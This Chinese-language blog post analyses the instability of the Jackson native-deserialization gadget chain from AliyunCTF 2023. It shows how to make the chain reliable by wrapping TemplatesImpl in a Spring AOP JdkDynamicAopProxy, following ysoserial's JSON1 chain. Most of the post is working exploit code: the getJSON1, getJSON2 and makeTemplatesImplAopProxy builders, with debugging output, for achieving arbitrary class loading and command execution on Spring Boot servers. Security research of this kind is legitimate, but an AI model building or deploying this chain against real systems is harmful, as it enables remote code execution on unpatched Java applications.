从JSON1链中学习处理JACKSON链的不稳定性3

简介

今天四月份的 AliyunCTF 2023 中公开了一条只依赖于 Jackson 这个 JSON 序列化库的原生反序列化利用链【1】。这条 JACKSON 链可以直接在无任何额外依赖的 SpringBoot 环境下使用,十分方便。但是,由于Jackson 获取类属性顺序的不稳定性,导致有时 JACKSON 链在触发 getOutputProperties 方法之前就报错了。本文参考著名反序列化利用工具 ysoserial【2】 中的 JSON1 链,在新添加一个 Spring AOP 依赖的基础上,对 JACKSON 链进行改进,使得 JACKSON 链在 SpringBoot 环境下可以稳定触发 getOutputProperties 方法。

关于 JACKSON 链

首先给出一段构造 JACKSON 链的(伪)代码,详细代码可以参考 AliyunCTF 2023 的 writeup【1】.

public static byte[] getJSON1(String cmd) throws Exception {

// step 1

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");

CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");

ctClass.removeMethod(writeReplace);

ctClass.toClass();

// step 2

POJONode node = new POJONode(makeTemplatesImpl(cmd));

// step 3

BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

    return serialize(val);
}

代码主要分三段,第一段是在 com.fasterxml.jackson.databind.node.BaseJsonNode 被类加载器加载前,使用 javassist 工具删除它的 writeReplace 方法。

第二段是构造一个 TemplatesImpl 类型的对象,然后用其构造一个 POJONode 类型的对象。

第三段是将这个 POJONode 类型的对象设置为 BadAttributeValueExpException 类型的对象的 val 字段的值,之后反序列化时触发 POJONode 类型的对象的 toString 方法。

JACKSON 链的原理是 POJONode 类型的对象的 toString 方法会触发用来构造 POJONode 类型的对象的 TemplatesImpl 类型的对象的所有 getter 方法,最终触发 TemplatesImpl#getOutputProperties ,导致任意类加载。

JACKSON 链的不稳定性

有时在使用 JACKSON 链时,我们会遇到如下报错:

Caused by: java.lang.NullPointerException

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)

at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)

at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)

at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)

at java.lang.reflect.Method.invoke(Method.java:483)

at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)

at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)

... 74 more

JACKSON 链触发过程中,在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields 中获取了之前找到的 props,且循环触发其 getter。

protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)

throws IOException

{

final BeanPropertyWriter[] props;

if (_filteredProps != null && provider.getActiveView() != null) {

props = _filteredProps;

} else {

props = _props;

}

int i = 0;

try {

for (final int len = props.length; i < len; ++i) {

BeanPropertyWriter prop = props[i];

if (prop != null) { // can have nulls in filtered list

prop.serializeAsField(bean, gen, provider);

}

}

if (_anyGetterWriter != null) {

_anyGetterWriter.getAndSerialize(bean, gen, provider);

}

} catch (Exception e) {

String name = (i == props.length) ? "[anySetter]" : props[i].getName();

wrapAndThrow(provider, e, bean, name);

} catch (StackOverflowError e) {

...

}

}

我使用 SpringBoot 2.7.5 搭建了一个测试项目,JDK 版本为 openjdk 1.8.20。

java version "1.8.0_20"

Java™ SE Runtime Environment (build 1.8.0_20-b26)

Java HotSpot™ 64-Bit Server VM (build 25.20-b23, mixed mode)

我们在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields 打上断点进行调试。

反序列化 JACKSON 链,断点断下。

通过调试可以看到 BeanSerializerBase#serializeFields 获取的三个 props 按顺序如下:

transletindex

stylesheetDOM

outputProperties

此时 stylesheetDOM 在 outputProperties 之前,所以 getStylesheetDOM 会先于 getOutputProperties 触发。当 getStylesheetDOM 方法先被触发时,由于 _sdom 成员为空,会导致空指针报错,反序列化攻击失败。

不过此处获取的顺序会有一定的不稳定性,有时 outputProperties 会在 stylesheetDOM 之前,这个时候反序列化攻击可以成功。

关于 JSON1 链

其实利用 JSON 序列化库触发所有 getter 方法并不鲜见。ysoserial【2】 中的 JSON1 链就利用了 net.sf.json-lib 这个 JSON 序列化库来触发 getOutputProperties 方法。

我们截取它的调用链研究一下:

/**

*

  • A bit more convoluted example
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
  • java.lang.reflect.Method.invoke(Object, Object...)
  • org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
  • org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
  • $Proxy0.getOutputProperties()
  • java.lang.reflect.Method.invoke(Object, Object...)
  • org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
  • org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
  • org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
  • org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
  • org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
  • net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
  • net.sf.json.JSONObject._fromBean(Object, JsonConfig)
  • net.sf.json.JSONObject.fromObject(Object, JsonConfig)
  • net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
  • net.sf.json.JSONObject._processValue(Object, JsonConfig)
  • net.sf.json.JSONObject.processValue(Object, JsonConfig)
  • net.sf.json.JSONObject.containsValue(Object, JsonConfig)
  • net.sf.json.JSONObject.containsValue(Object)
  • javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
  • javax.management.openmbean.TabularDataSupport.equals(Object)
  • java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
  • java.util.HashMap<K,V>.readObject(ObjectInputStream)
  • @author mbechler

*/

从下往上看,可以看到最先有一段调用,从 java.util.HashMap#readObject 触发 net.sf.json.JSONObject#containsValue. 然后 net.sf.json.JSONObject#defaultBeanProcessing 尝试触发它包裹的对象的所有 getter 方法。这里用到了 commons-beanutils 这个库获取 getter 方法,然后反射触发。

按照 JACKSON 链的逻辑,这里可以,直接包裹一个 TemplatesImpl 类型的对象,然后触发其 getOutputProperties 方法。

但是这里 JSON1 链没有让 JSONObject 直接包裹一个 TemplatesImpl 类型的对象,而是包裹了一个代理类的对象 cdsProxy

Object payload = Gadgets.createTemplatesImpl(command);

Class[] ifaces = new Class[]{Templates.class};

// we need to make payload implement composite data

// it's very likely that there are other proxy impls that could be used

AdvisedSupport as = new AdvisedSupport();

as.setTarget(payload);

InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);

InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));

InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");

((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);

Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);

final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

JSONObject jo = new JSONObject();

Map m = new HashMap();

m.put("t", cdsProxy);

代理类的性质主要由其 handler 决定,我们研究一下这里用到的的 handler,也就是 org.springframework.aop.framework.JdkDynamicAopProxy 类

/**

* Implementation of {@code InvocationHandler.invoke}.

*

Callers will see exactly the exception thrown by the target,

* unless a hook method throws an exception.

*/

@Override

@Nullable

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

Object oldProxy = null;

boolean setProxyContext = false;

    TargetSource targetSource = this.advised.targetSource;
    Object target = null;

    try {
  ...
        // Get as late as possible to minimize the time we "own" the target,
        // in case it comes from a pool.
        target = targetSource.getTarget();
        Class<?> targetClass = (target != null ? target.getClass() : null);

        // Get the interception chain for this method.
        List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

        // Check whether we have any advice. If we don't, we can fall back on direct
        // reflective invocation of the target, and avoid creating a MethodInvocation.
        if (chain.isEmpty()) {
            // We can skip creating a MethodInvocation: just invoke the target directly
            // Note that the final invoker must be an InvokerInterceptor so we know it does
            // nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
            Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
            retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
        }
        else {
            ...
        }
        ...
        }
        return retVal;
    }
    finally {
        ...
    }
}

代码很长,简单概括一下,JdkDynamicAopProxy 类的 advised 成员是一个 org.springframework.aop.framework.AdvisedSupport 类型的对象,它的 targetSource 成员中保存了 JdkDynamicAopProxy 类代理的接口的实现类。

当代理类上的一个接口方法被调用时,这个 handler 就会尝试调用 targetSource 成员保存的实现类对象所实现的对应方法。

所以这里 JSON1 链是先使用 commons-beanutils 这个库获取代理类所有的 getter 方法,然后调用代理类的 getter 方法,触发 JdkDynamicAopProxy 类的 invoke 方法。

同时应该注意到,当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。

我们的目的应该是让代理类仅仅包含我们需要的方法 getOutputProperties。

查看 TemplatesImpl 实现的 javax.xml.transform.Templates 这个接口。

可以看到它只有一个 getter 方法,就是我们需要的 getOutputProperties 方法。

public interface Templates {

Transformer newTransformer() throws TransformerConfigurationException;

Properties getOutputProperties();

}

所以这里提取出 JSON1 链解决 JSON 序列化库类型依赖触发 getter 不稳定问题的思路如下:

构造一个 JdkDynamicAopProxy 类型的对象,将 TemplatesImpl 类型的对象设置为 targetSource

使用这个 JdkDynamicAopProxy 类型的对象构造一个代理类,代理 javax.xml.transform.Templates 接口

JSON 序列化库只能从这个 JdkDynamicAopProxy 类型的对象上找到 getOutputProperties 方法

通过代理类的 invoke 机制,触发 TemplatesImpl#getOutputProperties 方法,实现恶意类加载

这需要添加一个 Spring AOP 的依赖,但是在 SpringBoot 环境下默认是存在这个依赖的。

JACKSON 链的修改

生成修改过的 JACKSON 链,代码如下:

public static byte[] getJSON2(String cmd) throws Exception {

// step 1

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");

CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");

ctClass.removeMethod(writeReplace);

ctClass.toClass();

// step 2

POJONode node = new POJONode(makeTemplatesImplAopProxy(cmd));

// step 3

BadAttributeValueExpException val = new BadAttributeValueExpException(null);

setFieldValue(val, "val", node);

    return serialize(val);
}

public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.setTarget(makeTemplatesImpl(cmd));
    Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
    Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
    return proxy;
}

还是在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields 打下断点。

反序列化修改过的 JACKSON 链,通过调试可以看到只获取了一个 props:

outputProperties

此时 getOutputProperties 可以被稳定触发,解决了 JACKSON 链不稳定的问题。

总结

本文学习了 JSON1 链,使用 Spring AOP 中的 JdkDynamicAopProxy 作为 gadget,修改 JACKSON 链,将以随机顺序触发 TemplatesImpl 上的所有 getter , 转换成了只触发 getOutputProperties ,避免了 JACKSON 链的不稳定性,同时, JACKSON 链依然可以在 SpringBoot 环境下直接使用。

参考文章

[1] https://xz.aliyun.com/t/12485

[2] https://github.com/frohoff/ysoserial

相关推荐
远歌已逝5 分钟前
维护在线重做日志(二)
数据库·oracle
qq_433099401 小时前
Ubuntu20.04从零安装IsaacSim/IsaacLab
数据库
Dlwyz1 小时前
redis-击穿、穿透、雪崩
数据库·redis·缓存
Theodore_10222 小时前
4 设计模式原则之接口隔离原则
java·开发语言·设计模式·java-ee·接口隔离原则·javaee
网易独家音乐人Mike Zhou3 小时前
【卡尔曼滤波】数据预测Prediction观测器的理论推导及应用 C语言、Python实现(Kalman Filter)
c语言·python·单片机·物联网·算法·嵌入式·iot
安静读书3 小时前
Python解析视频FPS(帧率)、分辨率信息
python·opencv·音视频
工业甲酰苯胺3 小时前
Redis性能优化的18招
数据库·redis·性能优化
没书读了4 小时前
ssm框架-spring-spring声明式事务
java·数据库·spring
----云烟----4 小时前
QT中QString类的各种使用
开发语言·qt
lsx2024064 小时前
SQL SELECT 语句:基础与进阶应用
开发语言